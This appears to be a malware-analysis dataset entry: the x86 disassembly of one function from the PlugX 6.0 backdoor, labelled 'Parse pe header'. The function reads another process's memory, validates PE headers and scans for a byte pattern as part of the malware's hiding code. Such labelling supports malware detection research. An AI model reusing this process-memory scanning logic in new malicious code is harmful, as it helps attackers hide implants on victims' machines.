Function at 0x10006d50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x10030f88]
mov dword [ebp - 0x10], edx
push ebx
mov ebx, ecx
mov dword [ebp - 8], ebx
push esi
push edi
test eax, eax
jne 0x10006d94
mov eax, dword [0x1002d3e4]
test eax, eax
jne 0x10006d83
push str.psapi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002d3e4], eax
push str.EnumProcessModules
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030f88], eax
lea ecx, [ebp - 4]
push ecx
push 0x40
lea ecx, [ebp - 0x50]
push ecx
push ebx
call eax
test eax, eax
jne 0x10006dc5
push eax
mov edx, 0x17e
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXHide.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1002
call fcn.10027bda
mov edi, eax
add esp, 4
test edi, edi
jne 0x10006dfb
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
push edi
mov edx, 0x185
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXHide.cpp
call fcn.10024152
add esp, 8
jmp 0x10006e04
mov word [edi + 0x1000], 0
lea eax, [ebp - 4]
push eax
push 0x1000
push edi
push dword [ebp - 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x10006e23
mov edx, 0x18a
jmp 0x10006e99
mov eax, 0x5a4d
cmp ax, word [edi]
je 0x10006e34
mov edx, 0x191
jmp 0x10006e46
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x10006e5f
mov edx, 0x198
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXHide.cpp
call fcn.10024152
add esp, 4
mov esi, 0xd
jmp 0x10006f13
movzx eax, word [ebx + 0x14]
mov esi, dword [eax + ebx + 0x24]
push dword [eax + ebx + 0x20]
add esi, dword [ebp - 0x50]
call fcn.10027bda
add esp, 4
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 4]
push ecx
movzx ecx, word [ebx + 0x14]
push dword [ecx + ebx + 0x20]
push eax
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x10006eb2
mov edx, 0x1a0
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXHide.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10006f13
movzx eax, word [ebx + 0x14]
xor ecx, ecx
mov edx, dword [eax + ebx + 0x20]
test edx, edx
je 0x10006eef
mov esi, dword [ebp - 0xc]
lea eax, [esi + 0xa]
cmp byte [eax - 0xa], 0xa3
jne 0x10006ee9
cmp byte [eax - 5], 0xa3
jne 0x10006ee9
cmp byte [eax], 0xa3
jne 0x10006ee9
cmp byte [eax + 5], 0xa3
jne 0x10006ee9
cmp byte [eax + 0xa], 0xa3
jne 0x10006ee9
cmp byte [eax + 0xf], 0xe8
je 0x10006f08
inc ecx
inc eax
cmp ecx, edx
jb 0x10006ec6
push 1
push edi
mov esi, 0x490
call fcn.10027bcc
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + esi + 0x15]
xor esi, esi
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
test edi, edi
je 0x10006eff
push 1
push edi
call fcn.10027bcc
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret